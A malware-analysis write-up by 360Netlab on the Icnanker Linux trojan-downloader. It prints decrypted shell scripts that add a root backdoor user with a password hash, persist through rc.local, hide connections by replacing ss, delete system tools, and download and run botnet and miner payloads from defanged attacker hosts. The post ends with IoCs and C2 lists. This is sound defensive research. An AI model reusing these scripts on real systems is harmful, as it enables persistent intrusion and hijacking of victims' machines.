Icnanker, a Linux Trojan-Downloader Protected by SHC
<!--kg-card-begin: markdown--><h2 id="background">Background</h2>
<p>On August 15, 2019, 360Netlab Threat Detecting System flagged an unknown ELF sample (5790dedae465994d179c63782e51bac1) which generated Elknot Botnet related network traffic. We manually took a look and noticed that it is a Trojan-Downloader which utilizes &quot;SHC (Shell script compiler)&quot; technique and propgrates through weak SSH credentials. The author appeared to be an old player Icnanker. Icnanker was exposed on the Internet in 2015 as a script programmer, who has a high-profile personality and likes to leave his QQ number and name in his codes. The sample, in our opinion, was not much new and therefore we did not bother to write anything.</p>
<p>On March 12, 2020, IntezerLab twittered about a <a href="https://twitter.com/IntezerLabs/status/1238090121624379392">Icnanker</a> variant (6abe83ee8481b5ce0894d837eabb41df). They did not give much details and we figured it is probably worth writing down a few interesting features that we observed.</p>
<h2 id="overview">Overview</h2>
<p>Icnanker is the first Linux malware family we observed that uses <a href="https://github.com/neurobin/shc">SHC</a>. Its name is derived from the author's ID &quot;by icnanker&quot; in the script.</p>
<p>The current Icnanker samples can be divided into 2 categories according to their functions:</p>
<ul>
<li>
<p>Protector<br>
Protector is used to protect samples from being deleted. It is currently used to protect Mining service.</p>
</li>
<li>
<p>Downloader<br>
Downloader is mainly used to facilitate DDos and Mining attacks. Currently its samples include Elknot Botnet, Xor Botnet and XMRMiner. On Icnanker-related HFS servers, we can see that the current download volume is at 20,114, and about 500 increment per day.<br>
<a href="__GHOST_URL__/content/images/2020/03/shc_hfs-3.png"><img src="__GHOST_URL__/content/images/2020/03/shc_hfs-3.png" class="kg-image"/></a><br>
The main functions of Downloader are:</p>
</li>
<li>
<p>Persistence</p>
</li>
<li>
<p>Hide itself</p>
</li>
<li>
<p>Delete system command</p>
</li>
<li>
<p>Add new users</p>
</li>
<li>
<p>Download and execute specific samples</p>
</li>
</ul>
<h2 id="reverseanalysis">Reverse analysis</h2>
<p>Let's take a look at the following two samples.<br>
<mark>187fa428ed44f006df0c8232be4a6e4e</mark> Miner Protector,<br>
<mark>5790dedae465994d179c63782e51bac1</mark> Elknot Botnet Downloader.</p>
<blockquote>
<p>MD5:5790dedae465994d179c63782e51bac1</p>
<p>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=8368ecf43c311327ed1b8e011f25b87ceef7f065, stripped</p>
<p>Packer: No</p>
<p><strong>Verdict:Malicious,Downloader</strong></p>
</blockquote>
<blockquote>
<p>187fa428ed44f006df0c8232be4a6e4e<br>
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped</p>
<p>Packer:No</p>
<p><strong>Verdict:Malicious,Protector</strong></p>
</blockquote>
<p>We know on the Windows platform, there is a technology for packaging BAT scripts into executable files, which is called Bat2Exe. Similarly, on the Linux platform,there is an open source &quot;SHC (Shell script compiler)&quot; that packs shell scripts into executable files. SHC uses the RC4 algorithm to encrypt the original script. The ELF file generated by it has very obvious characteristics: the RC4 decryption function is called a total of 14 times,and there are many unique strings. Security researchers can tell fairly easily whether ELF is generated by SHC.</p>
<p><a href="__GHOST_URL__/content/images/2020/03/shc_flag.png"><img src="__GHOST_URL__/content/images/2020/03/shc_flag.png" class="kg-image"/></a><br>
As mentioned above, we can use the RC4 algorithm to manually extract the original script. (Another option is to use <a href="https://github.com/yanncam/UnSHc">UnSHc</a> to directly decrypt the script)</p>
<pre><code class="language-bash">[*] Extracting each args address and size for the 14 arc4() calls with address [0x8048f65]...
	[0] Working with var address at offset [0x80ed087] (0x2a bytes)
	[1] Working with var address at offset [0x80ed0df] (0x1 bytes)
                            ...............
	[12] Working with var address at offset [0x80f1280] (0x13 bytes)
	[13] Working with var address at offset [0x80f12b1] (0x13 bytes)
[*] Extracting password...
	[+] PWD address found : [0x80f12ed]
	[+] PWD size found : [0x100]
[*] Executing [/tmp/kjGnQn] to decrypt [5790dedae465994d179c63782e51bac1]
[*] Retrieving initial source code in [5790dedae465994d179c63782e51bac1.sh]
[*] All done!
                            ...............
[*] Executing [/tmp/GRsVsP] to decrypt [187fa428ed44f006df0c8232be4a6e4e]
[*] Retrieving initial source code in [187fa428ed44f006df0c8232be4a6e4e.sh]
[*] All done!


</code></pre>
<h3 id="protector187fa428ed44f006df0c8232be4a6e4esh">Protector (187fa428ed44f006df0c8232be4a6e4e.sh)</h3>
<pre><code>#!/bin/bash
cp -f /usr/bin/chattr /usr/bin/lockr
cp -f /usr/bin/chattr /usr/bin/.locks
cp -f /usr/bin/.locks /usr/bin/lockr
chmod 777 /usr/bin/lockr
chmod 777 /usr/bin/.locks
lockr +i /usr/bin/lockr &gt;/dev/null 2&gt;&amp;1
lockr +i /usr/bin/.locks &gt;/dev/null 2&gt;&amp;1
.locks -i /usr/bin/lockr;chmod 777 /usr/bin/lockr
lockr +i /usr/bin/lockr &gt;/dev/null 2&gt;&amp;1
cp -f /usr/bin/lsattr /usr/bin/lockrc
cp -f /usr/bin/lsattr /usr/bin/.locksc
cp -f /usr/bin/.locksc /usr/bin/lockrc
chmod 777 /usr/bin/lockrc
chmod 777 /usr/bin/.locksc
lockr +i /usr/bin/lockrc &gt;/dev/null 2&gt;&amp;1
lockr +i /usr/bin/.locksc &gt;/dev/null 2&gt;&amp;1
.locks -i /usr/bin/lockrc;chmod 777 /usr/bin/lockrc
lockr +i /usr/bin/lockrc &gt;/dev/null 2&gt;&amp;1
rm -rf /usr/bin/lsattr
rm -rf /usr/bin/chattr
lockr +a /var/spool/cron/crontabs/root
lockr +i /var/spool/cron/crontabs/root
lockr +a /var/spool/cron/root
lockr +i /var/spool/cron/root
lockr +i /usr/lib/.cache/
lockr +i /usr/lib/.cache
rm -f $0
</code></pre>
<p>In this script, we can clearly see that the system commands chattr, lsattr are renamed and deleted, and the directory .cache, where mining script located,is protected, and the immutable attribute is enabled to prevent from being deleted.</p>
<h3 id="downloader5790dedae465994d179c63782e51bac1sh">Downloader (5790dedae465994d179c63782e51bac1.sh)</h3>
<pre><code class="language-bash">    －－－－－－－－－－－－from 5790dedae465994d179c63782e51bac1.sh－－－－－－－－－－
                ...............
    echo &quot;byicnanker 2228668564&quot; &gt; $Config
	tempfile=`cat $Config | awk '{print $1}'`
	filetemp=&quot;/usr/bin/$tempfile&quot; #现马的路径
	filename=`date +%s%N | md5sum | head -c 10`
	filepath=&quot;/usr/bin/$filename&quot; #新马的路径
	tempbash=`cat $Config | awk '{print $2}'`
	bashtemp=&quot;/usr/bin/$tempbash&quot; #现脚本路径
	bashname=`date +%s%N | md5sum | head -c 10`
	bashpath=&quot;/usr/bin/$bashname&quot; #新脚本路径
               ...............
</code></pre>
<p>This section has a typical icnanker marks, we can clearly see the icnanker logo, QQ, Chinese annotations, etc.</p>
<p>Since the script is in plain text, the functions are clear at a glance, and there are mainly 5 functions.</p>
<ul>
<li>Persistence, self-starting via re.local.</li>
</ul>
<pre><code>  # by icnanker -----------------------------------------------
  Repeatstart=`cat /etc/rc.local | grep 'start'| wc -l`
  if [ $Repeatstart != 1 ];then
  	lockr -i /etc/rc.local;sed -i '/start/d' /etc/rc.local
  fi
  if [ -z &quot;`cat /etc/rc.local | grep &quot;$bashtemp&quot;`&quot; ]; then
  	if [ -z &quot;`cat /etc/rc.local | grep &quot;$exit0&quot;`&quot; ]; then
  		lockr -i /etc/;lockr -i /etc/rc.local
  		echo &quot;$bashpath start&quot; &gt;&gt; /etc/rc.local
  	else
  		lockr -i /etc/;lockr -i /etc/rc.local
  		sed -i &quot;s|exit 0|$bashpath start|&quot; /etc/rc.local
  		echo &quot;exit 0&quot;&gt;&gt;/etc/rc.local
  	fi
  fi
</code></pre>
<ul>
<li>Self-hiding , so that management tools such as ss, ps, netstat cannot detect the process and network connections related to the sample.</li>
</ul>
<pre><code>if [ -f /bin/ss ];then
	if [ ! -f &quot;$iss&quot; ];then
		if [ ! -f &quot;$issbak&quot; ];then
			lockr -i /usr/bin/;mkdir /usr/bin/dpkgd/
			cp -f /bin/ss $issbak
			cp -f /bin/ss $iss
		else
			cp -f $issbak $iss
		fi
		chmod 777 $iss;chmod 777 $issbak
		lockr +i $issbak &gt;/dev/null 2&gt;&amp;1
		lockr +i $iss &gt;/dev/null 2&gt;&amp;1
	else
		if [ ! -f &quot;$issbak&quot; ];then
			lockr -i /usr/bin/;cp -f $iss $issbak
			lockr +i $issbak &gt;/dev/null 2&gt;&amp;1
		fi	
		if [ -z &quot;`cat /bin/ss | grep $Address`&quot; ]; then
			lockr -i /bin/;lockr -i /bin/ss
			echo '#!/bin/sh' &gt; /bin/ss
			echo 'iss|grep -v &quot;'$Address'&quot;' &gt;&gt; /bin/ss
			echo 'exit' &gt;&gt; /bin/ss
			chmod 777 /bin/ss;lockr +i /bin/ss &gt;/dev/null 2&gt;&amp;1
		fi
	fi
fi

</code></pre>
<ul>
<li>Delete some system files to increase the difficulty for repair.</li>
</ul>
<pre><code>lockr -i /usr/bin/;
lockr -i /usr/bin/wget;
rm -f /usr/bin/wget;
lockr -i /usr/bin/chattr;
rm -f /usr/bin/chattr
</code></pre>
<ul>
<li>Add new user (ntps) to facilitate subsequent control of the victim's machine</li>
</ul>
<pre><code>  # by icnanker -----------------------------------------------
  if [ -z &quot;`cat /etc/passwd|grep &quot;ntps&quot;`&quot; ]; then
  	lockr -i /etc/;lockr -i /etc/passwd #ntps
  	echo 'ntps:x:0:1:ntps:/root:/bin/bash' &gt;&gt; /etc/passwd
  	lockr -i /etc/;lockr +i /etc/passwd &gt;/dev/null 2&gt;&amp;1
  fi
  if [ -z &quot;`cat /etc/shadow|grep &quot;ntps&quot;`&quot; ]; then
  	lockr -i /etc/;lockr -i /etc/shadow #tianyong
  	echo 'ntps:$6$J6RdL6Xh$udhpd5iErOxXyZSERCi0NOtoXE9J095xDRo4DJfCoTEsImcxype6iltDL8pTG7w/7Gbp9Ohrii9O.4NnxqG/h.:16583:0:99999:7:::' &gt;&gt; /etc/shadow
  	lockr -i /etc/;lockr +i /etc/shadow &gt;/dev/null 2&gt;&amp;1
  fi
</code></pre>
<ul>
<li>Download and execute specific samples, here it downloads the Elknot Botnet.</li>
</ul>
<pre><code>  # by icnanker -----------------------------------------------
  iptable=`iptables -L INPUT | grep &quot;$Address&quot; | grep 'ACCEPT'`
  if [ -z &quot;$iptable&quot; ];then
  	iptables -I INPUT -s $Address -j ACCEPT
  else
  	iptables -D INPUT -s $Address -j DROP
  fi
  process=`ips -ef | grep &quot;$tempfile&quot; | grep -v &quot;grep&quot; | wc -l`
  if [ $process != 1 ];then
  	if [ ! -f &quot;$filebak&quot; ];then
  		lockr -i /usr/bin/;lockr -i /usr/bin/htrdpm;rm -f /usr/bin/htrdpm
  		cd /usr/bin/;dget http[://hfs.ubtv.xyz:22345/htrdpm
  		cd $path;mv -f /usr/bin/htrdpm $filepath
  	else
  		cp -f $filebak $filepath
  	fi
  	Runkillallconnect
  	chmod 777 $filepath
  	nohup $filepath &gt;/dev/null 2&gt;&amp;1 &amp;
  fi
</code></pre>
<p>At this point, Icnanker will load itself when system boots and maintain continuously control of the victim secretly.  At the same time, Icnanker has pretty flexible configuration. When migrating from one service to another, the author only needs to update the dns settings in the scripts.</p>
<p>Take the <strong>Elknot and Miner</strong> as examples</p>
<pre><code>elknot

ResolveIP=`nslookup [ddd.ubtv.xyz|grep &quot;Address: &quot;|awk '{print $2}'`
if [ -z &quot;$ResolveIP&quot; ];then
	lockr -i /etc/;lockr -i /etc/resolv.conf
	echo 'nameserver 114.114.114.114' &gt; /etc/resolv.conf
	echo 'nameserver 8.8.8.8' &gt;&gt; /etc/resolv.conf
	echo 'nameserver 8.8.4.4' &gt;&gt; /etc/resolv.conf
	lockr +i /etc/resolv.conf &gt;/dev/null 2&gt;&amp;1
	service network restart;sleep 1
	Address=`nslookup ddd.ubtv.xyz|grep &quot;Address: &quot;|awk '{print $2}'`
else
	Address=&quot;$ResolveIP&quot;
fi
 dget http[://hfs.ubtv.xyz:22345/htrdpm

-------------------------------------------VS----------------------------------------

miner

ResolveIP=`nslookup p[ool.supportxmr.com|grep &quot;Address: &quot;|awk '{print $2}'`
if [ -z &quot;$ResolveIP&quot; ];then
	lockr -i /etc/;lockr -i /etc/resolv.conf
	echo 'nameserver 114.114.114.114' &gt; /etc/resolv.conf
	echo 'nameserver 8.8.8.8' &gt;&gt; /etc/resolv.conf
	echo 'nameserver 8.8.4.4' &gt;&gt; /etc/resolv.conf
	lockr +i /etc/resolv.conf &gt;/dev/null 2&gt;&amp;1
	service network restart;sleep 1
	Address=`nslookup p[ool.supportxmr.com|grep &quot;Address: &quot;|awk '{print $2}'`
else
	Address=&quot;$ResolveIP&quot;
fi
 dget http[://xz.jave.xyz:22345/.xm
</code></pre>
<p>Here is a list of Downloader and theirs services currently we observed.</p>
<table>
<thead>
<tr>
<th>filename</th>
<th>md5</th>
<th>payload type</th>
<th>payload url</th>
</tr>
</thead>
<tbody>
<tr>
<td>80</td>
<td>5790dedae465994d179c63782e51bac1</td>
<td>elknot botnet</td>
<td>http[://hfs.ubtv.xyz:22345/htrdpm</td>
</tr>
<tr>
<td>.ds1;.ds2</td>
<td>6abe83ee8481b5ce0894d837eabb41df</td>
<td>miner</td>
<td>http[://xz.jave.xyz:22345/.xm</td>
</tr>
<tr>
<td>.ssh</td>
<td>89cd1ebfa5757dca1286fd925e0762de</td>
<td>elknot botnet</td>
<td>http[://hfs.ubtv.xyz:22345/htrdpm</td>
</tr>
<tr>
<td>19880</td>
<td>d989e81c4eb23c1e701024ed26f55849</td>
<td>elknot botnet</td>
<td>http[://hfs.ubtv.xyz:22345/htrdps</td>
</tr>
</tbody>
</table>
<h2 id="icnankersdistributedsamples">Icnanker's distributed samples</h2>
<p>Icnanker's distributed samples are all stored on its HFS server, and from what we have seen so far, all samples are the typical botnet families: Elknot Botnet, Xor Botnet, and XMR mining service.</p>
<ul>
<li>
<p>Elknot Botnet</p>
<table>
<thead>
<tr>
<th>filename</th>
<th>md5</th>
<th>c2</th>
</tr>
</thead>
<tbody>
<tr>
<td>htrdps</td>
<td>5c90bfbae5c030da91c9054ecb3194b6</td>
<td>ubt.ubtv.xyz:19880, jav.jave.xyz:6001</td>
</tr>
<tr>
<td>kcompact0</td>
<td>eec19f1639871b6e6356e7ee05db8a94</td>
<td>sys.jave.xyz:1764, jav.jave.xyz:6001</td>
</tr>
</tbody>
</table>
</li>
<li>
<p>Xor.DDoS Botnet</p>
<table>
<thead>
<tr>
<th>filename</th>
<th>md5</th>
<th>c2</th>
</tr>
</thead>
<tbody>
<tr>
<td>ss</td>
<td>0764da93868218d6ae999ed7bd66a98e</td>
<td>8uch.jave.xyz:3478,8uc1.jave.xyz:1987,8uc2.ubtv.xyz:2987</td>
</tr>
</tbody>
</table>
</li>
<li>
<p>Miner</p>
<table>
<thead>
<tr>
<th>filename</th>
<th>md5</th>
<th>c2</th>
</tr>
</thead>
<tbody>
<tr>
<td>sh</td>
<td>17ac3bd2753b900367cb9ee4068fe0c1</td>
<td></td>
</tr>
<tr>
<td>.xm</td>
<td>765a0899cb87400e8a27ab572f3cdd61</td>
<td></td>
</tr>
</tbody>
</table>
</li>
</ul>
<h2 id="suggestions">Suggestions</h2>
<p>We recommend that users watch for the clues we mentioned above and block the C2 on their networks,<br>
We also suggest strong login credentials should always be enforced.</p>
<h2 id="contactus">Contact us</h2>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360netlab">twitter</a>, or email to netlab at 360 dot cn.</p>
<h2 id="ioclist">IoC list</h2>
<h3 id="samplemd5">Sample MD5</h3>
<pre><code>5790dedae465994d179c63782e51bac1
6abe83ee8481b5ce0894d837eabb41df
89cd1ebfa5757dca1286fd925e0762de
d989e81c4eb23c1e701024ed26f55849
5c90bfbae5c030da91c9054ecb3194b6
eec19f1639871b6e6356e7ee05db8a94
0764da93868218d6ae999ed7bd66a98e
17ac3bd2753b900367cb9ee4068fe0c1
765a0899cb87400e8a27ab572f3cdd61
187fa428ed44f006df0c8232be4a6e4e
</code></pre>
<h3 id="cc">CC</h3>
<pre><code>ubt.ubtv.xyz:19880 #Elknot
sys.jave.xyz:1764  #Elknot
jav.jave.xyz:6001  #Elknot
8uch.jave.xyz:3478 #Xor.DDoS
8uc1.jave.xyz:1987 #Xor.DDoS
8uc2.ubtv.xyz:2987 #Xor.DDoS
xz.jave.xyz:22345  #Icnanker HFS
</code></pre>
<!--kg-card-end: markdown-->
Background


On August 15, 2019, 360Netlab Threat Detecting System flagged an unknown ELF sample (5790dedae465994d179c63782e51bac1) which generated Elknot Botnet related network traffic. We manually took a look and noticed that it is a Trojan-Downloader which utilizes "SHC (Shell script compiler)" technique and propgrates through weak SSH credentials. The author appeared to be an old player Icnanker. Icnanker was exposed on the Internet in 2015 as a script programmer, who has a high-profile personality and likes to leave his QQ number and name in his codes. The sample, in our opinion, was not much new and therefore we did not bother to write anything.


On March 12, 2020, IntezerLab twittered about a Icnanker variant (6abe83ee8481b5ce0894d837eabb41df). They did not give much details and we figured it is probably worth writing down a few interesting features that we observed.



Overview


Icnanker is the first Linux malware family we observed that uses SHC. Its name is derived from the author's ID "by icnanker" in the script.


The current Icnanker samples can be divided into 2 categories according to their functions:


 * 
   
   
   Protector
   
   Protector is used to protect samples from being deleted. It is currently used to protect Mining service.
   

 * 
   
   
   Downloader
   
   Downloader is mainly used to facilitate DDos and Mining attacks. Currently its samples include Elknot Botnet, Xor Botnet and XMRMiner. On Icnanker-related HFS servers, we can see that the current download volume is at 20,114, and about 500 increment per day.
   
   
   
   The main functions of Downloader are:
   

 * 
   
   
   Persistence
   

 * 
   
   
   Hide itself
   

 * 
   
   
   Delete system command
   

 * 
   
   
   Add new users
   

 * 
   
   
   Download and execute specific samples
   



Reverse analysis


Let's take a look at the following two samples.

187fa428ed44f006df0c8232be4a6e4e Miner Protector,

5790dedae465994d179c63782e51bac1 Elknot Botnet Downloader.





MD5:5790dedae465994d179c63782e51bac1


ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=8368ecf43c311327ed1b8e011f25b87ceef7f065, stripped


Packer: No


Verdict:Malicious,Downloader






187fa428ed44f006df0c8232be4a6e4e

ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped


Packer:No


Verdict:Malicious,Protector



We know on the Windows platform, there is a technology for packaging BAT scripts into executable files, which is called Bat2Exe. Similarly, on the Linux platform,there is an open source "SHC (Shell script compiler)" that packs shell scripts into executable files. SHC uses the RC4 algorithm to encrypt the original script. The ELF file generated by it has very obvious characteristics: the RC4 decryption function is called a total of 14 times,and there are many unique strings. Security researchers can tell fairly easily whether ELF is generated by SHC.




As mentioned above, we can use the RC4 algorithm to manually extract the original script. (Another option is to use UnSHc to directly decrypt the script)


[*] Extracting each args address and size for the 14 arc4() calls with address [0x8048f65]...
	[0] Working with var address at offset [0x80ed087] (0x2a bytes)
	[1] Working with var address at offset [0x80ed0df] (0x1 bytes)
                            ...............
	[12] Working with var address at offset [0x80f1280] (0x13 bytes)
	[13] Working with var address at offset [0x80f12b1] (0x13 bytes)
[*] Extracting password...
	[+] PWD address found : [0x80f12ed]
	[+] PWD size found : [0x100]
[*] Executing [__GHOST_URL__/tmp/kjGnQn] to decrypt [5790dedae465994d179c63782e51bac1]
[*] Retrieving initial source code in [5790dedae465994d179c63782e51bac1.sh]
[*] All done!
                            ...............
[*] Executing [__GHOST_URL__/tmp/GRsVsP] to decrypt [187fa428ed44f006df0c8232be4a6e4e]
[*] Retrieving initial source code in [187fa428ed44f006df0c8232be4a6e4e.sh]
[*] All done!






Protector (187fa428ed44f006df0c8232be4a6e4e.sh)


#!/bin/bash
cp -f /usr/bin/chattr /usr/bin/lockr
cp -f /usr/bin/chattr /usr/bin/.locks
cp -f /usr/bin/.locks /usr/bin/lockr
chmod 777 /usr/bin/lockr
chmod 777 /usr/bin/.locks
lockr +i /usr/bin/lockr >/dev/null 2>&1
lockr +i /usr/bin/.locks >/dev/null 2>&1
.locks -i /usr/bin/lockr;chmod 777 /usr/bin/lockr
lockr +i /usr/bin/lockr >/dev/null 2>&1
cp -f /usr/bin/lsattr /usr/bin/lockrc
cp -f /usr/bin/lsattr /usr/bin/.locksc
cp -f /usr/bin/.locksc /usr/bin/lockrc
chmod 777 /usr/bin/lockrc
chmod 777 /usr/bin/.locksc
lockr +i /usr/bin/lockrc >/dev/null 2>&1
lockr +i /usr/bin/.locksc >/dev/null 2>&1
.locks -i /usr/bin/lockrc;chmod 777 /usr/bin/lockrc
lockr +i /usr/bin/lockrc >/dev/null 2>&1
rm -rf /usr/bin/lsattr
rm -rf /usr/bin/chattr
lockr +a /var/spool/cron/crontabs/root
lockr +i /var/spool/cron/crontabs/root
lockr +a /var/spool/cron/root
lockr +i /var/spool/cron/root
lockr +i /usr/lib/.cache/
lockr +i /usr/lib/.cache
rm -f $0



In this script, we can clearly see that the system commands chattr, lsattr are renamed and deleted, and the directory .cache, where mining script located,is protected, and the immutable attribute is enabled to prevent from being deleted.



Downloader (5790dedae465994d179c63782e51bac1.sh)


    －－－－－－－－－－－－from 5790dedae465994d179c63782e51bac1.sh－－－－－－－－－－
                ...............
    echo "byicnanker 2228668564" > $Config
	tempfile=`cat $Config | awk '{print $1}'`
	filetemp="/usr/bin/$tempfile" #现马的路径
	filename=`date +%s%N | md5sum | head -c 10`
	filepath="/usr/bin/$filename" #新马的路径
	tempbash=`cat $Config | awk '{print $2}'`
	bashtemp="/usr/bin/$tempbash" #现脚本路径
	bashname=`date +%s%N | md5sum | head -c 10`
	bashpath="/usr/bin/$bashname" #新脚本路径
               ...............



This section has a typical icnanker marks, we can clearly see the icnanker logo, QQ, Chinese annotations, etc.


Since the script is in plain text, the functions are clear at a glance, and there are mainly 5 functions.


 * Persistence, self-starting via re.local.


  # by icnanker -----------------------------------------------
  Repeatstart=`cat /etc/rc.local | grep 'start'| wc -l`
  if [ $Repeatstart != 1 ];then
  	lockr -i /etc/rc.local;sed -i '/start/d' /etc/rc.local
  fi
  if [ -z "`cat /etc/rc.local | grep "$bashtemp"`" ]; then
  	if [ -z "`cat /etc/rc.local | grep "$exit0"`" ]; then
  		lockr -i /etc/;lockr -i /etc/rc.local
  		echo "$bashpath start" >> /etc/rc.local
  	else
  		lockr -i /etc/;lockr -i /etc/rc.local
  		sed -i "s|exit 0|$bashpath start|" /etc/rc.local
  		echo "exit 0">>/etc/rc.local
  	fi
  fi



 * Self-hiding , so that management tools such as ss, ps, netstat cannot detect the process and network connections related to the sample.


if [ -f /bin/ss ];then
	if [ ! -f "$iss" ];then
		if [ ! -f "$issbak" ];then
			lockr -i /usr/bin/;mkdir /usr/bin/dpkgd/
			cp -f /bin/ss $issbak
			cp -f /bin/ss $iss
		else
			cp -f $issbak $iss
		fi
		chmod 777 $iss;chmod 777 $issbak
		lockr +i $issbak >/dev/null 2>&1
		lockr +i $iss >/dev/null 2>&1
	else
		if [ ! -f "$issbak" ];then
			lockr -i /usr/bin/;cp -f $iss $issbak
			lockr +i $issbak >/dev/null 2>&1
		fi	
		if [ -z "`cat /bin/ss | grep $Address`" ]; then
			lockr -i /bin/;lockr -i /bin/ss
			echo '#!/bin/sh' > /bin/ss
			echo 'iss|grep -v "'$Address'"' >> /bin/ss
			echo 'exit' >> /bin/ss
			chmod 777 /bin/ss;lockr +i /bin/ss >/dev/null 2>&1
		fi
	fi
fi




 * Delete some system files to increase the difficulty for repair.


lockr -i /usr/bin/;
lockr -i /usr/bin/wget;
rm -f /usr/bin/wget;
lockr -i /usr/bin/chattr;
rm -f /usr/bin/chattr



 * Add new user (ntps) to facilitate subsequent control of the victim's machine


  # by icnanker -----------------------------------------------
  if [ -z "`cat /etc/passwd|grep "ntps"`" ]; then
  	lockr -i /etc/;lockr -i /etc/passwd #ntps
  	echo 'ntps:x:0:1:ntps:/root:/bin/bash' >> /etc/passwd
  	lockr -i /etc/;lockr +i /etc/passwd >/dev/null 2>&1
  fi
  if [ -z "`cat /etc/shadow|grep "ntps"`" ]; then
  	lockr -i /etc/;lockr -i /etc/shadow #tianyong
  	echo 'ntps:$6$J6RdL6Xh$udhpd5iErOxXyZSERCi0NOtoXE9J095xDRo4DJfCoTEsImcxype6iltDL8pTG7w/7Gbp9Ohrii9O.4NnxqG/h.:16583:0:99999:7:::' >> /etc/shadow
  	lockr -i /etc/;lockr +i /etc/shadow >/dev/null 2>&1
  fi



 * Download and execute specific samples, here it downloads the Elknot Botnet.


  # by icnanker -----------------------------------------------
  iptable=`iptables -L INPUT | grep "$Address" | grep 'ACCEPT'`
  if [ -z "$iptable" ];then
  	iptables -I INPUT -s $Address -j ACCEPT
  else
  	iptables -D INPUT -s $Address -j DROP
  fi
  process=`ips -ef | grep "$tempfile" | grep -v "grep" | wc -l`
  if [ $process != 1 ];then
  	if [ ! -f "$filebak" ];then
  		lockr -i /usr/bin/;lockr -i /usr/bin/htrdpm;rm -f /usr/bin/htrdpm
  		cd /usr/bin/;dget http[://hfs.ubtv.xyz:22345/htrdpm
  		cd $path;mv -f /usr/bin/htrdpm $filepath
  	else
  		cp -f $filebak $filepath
  	fi
  	Runkillallconnect
  	chmod 777 $filepath
  	nohup $filepath >/dev/null 2>&1 &
  fi



At this point, Icnanker will load itself when system boots and maintain continuously control of the victim secretly. At the same time, Icnanker has pretty flexible configuration. When migrating from one service to another, the author only needs to update the dns settings in the scripts.


Take the Elknot and Miner as examples


elknot

ResolveIP=`nslookup [ddd.ubtv.xyz|grep "Address: "|awk '{print $2}'`
if [ -z "$ResolveIP" ];then
	lockr -i /etc/;lockr -i /etc/resolv.conf
	echo 'nameserver 114.114.114.114' > /etc/resolv.conf
	echo 'nameserver 8.8.8.8' >> /etc/resolv.conf
	echo 'nameserver 8.8.4.4' >> /etc/resolv.conf
	lockr +i /etc/resolv.conf >/dev/null 2>&1
	service network restart;sleep 1
	Address=`nslookup ddd.ubtv.xyz|grep "Address: "|awk '{print $2}'`
else
	Address="$ResolveIP"
fi
 dget http[://hfs.ubtv.xyz:22345/htrdpm

-------------------------------------------VS----------------------------------------

miner

ResolveIP=`nslookup p[ool.supportxmr.com|grep "Address: "|awk '{print $2}'`
if [ -z "$ResolveIP" ];then
	lockr -i /etc/;lockr -i /etc/resolv.conf
	echo 'nameserver 114.114.114.114' > /etc/resolv.conf
	echo 'nameserver 8.8.8.8' >> /etc/resolv.conf
	echo 'nameserver 8.8.4.4' >> /etc/resolv.conf
	lockr +i /etc/resolv.conf >/dev/null 2>&1
	service network restart;sleep 1
	Address=`nslookup p[ool.supportxmr.com|grep "Address: "|awk '{print $2}'`
else
	Address="$ResolveIP"
fi
 dget http[://xz.jave.xyz:22345/.xm



Here is a list of Downloader and theirs services currently we observed.





filename
md5
payload type
payload url




80
5790dedae465994d179c63782e51bac1
elknot botnet
http[://hfs.ubtv.xyz:22345/htrdpm


.ds1;.ds2
6abe83ee8481b5ce0894d837eabb41df
miner
http[://xz.jave.xyz:22345/.xm


.ssh
89cd1ebfa5757dca1286fd925e0762de
elknot botnet
http[://hfs.ubtv.xyz:22345/htrdpm


19880
d989e81c4eb23c1e701024ed26f55849
elknot botnet
http[://hfs.ubtv.xyz:22345/htrdps






Icnanker's distributed samples


Icnanker's distributed samples are all stored on its HFS server, and from what we have seen so far, all samples are the typical botnet families: Elknot Botnet, Xor Botnet, and XMR mining service.


 * 
   
   
   Elknot Botnet
   
   
   
   
   
   filename
   md5
   c2
   
   
   
   
   htrdps
   5c90bfbae5c030da91c9054ecb3194b6
   ubt.ubtv.xyz:19880, jav.jave.xyz:6001
   
   
   kcompact0
   eec19f1639871b6e6356e7ee05db8a94
   sys.jave.xyz:1764, jav.jave.xyz:6001
   
   
   
   

 * 
   
   
   Xor.DDoS Botnet
   
   
   
   
   
   filename
   md5
   c2
   
   
   
   
   ss
   0764da93868218d6ae999ed7bd66a98e
   8uch.jave.xyz:3478,8uc1.jave.xyz:1987,8uc2.ubtv.xyz:2987
   
   
   
   

 * 
   
   
   Miner
   
   
   
   
   
   filename
   md5
   c2
   
   
   
   
   sh
   17ac3bd2753b900367cb9ee4068fe0c1
   
   
   
   .xm
   765a0899cb87400e8a27ab572f3cdd61
   
   
   
   
   



Suggestions


We recommend that users watch for the clues we mentioned above and block the C2 on their networks,

We also suggest strong login credentials should always be enforced.



Contact us


Readers are always welcomed to reach us on twitter, or email to netlab at 360 dot cn.



IoC list



Sample MD5


5790dedae465994d179c63782e51bac1
6abe83ee8481b5ce0894d837eabb41df
89cd1ebfa5757dca1286fd925e0762de
d989e81c4eb23c1e701024ed26f55849
5c90bfbae5c030da91c9054ecb3194b6
eec19f1639871b6e6356e7ee05db8a94
0764da93868218d6ae999ed7bd66a98e
17ac3bd2753b900367cb9ee4068fe0c1
765a0899cb87400e8a27ab572f3cdd61
187fa428ed44f006df0c8232be4a6e4e




CC


ubt.ubtv.xyz:19880 #Elknot
sys.jave.xyz:1764  #Elknot
jav.jave.xyz:6001  #Elknot
8uch.jave.xyz:3478 #Xor.DDoS
8uc1.jave.xyz:1987 #Xor.DDoS
8uc2.ubtv.xyz:2987 #Xor.DDoS
xz.jave.xyz:22345  #Icnanker HFS


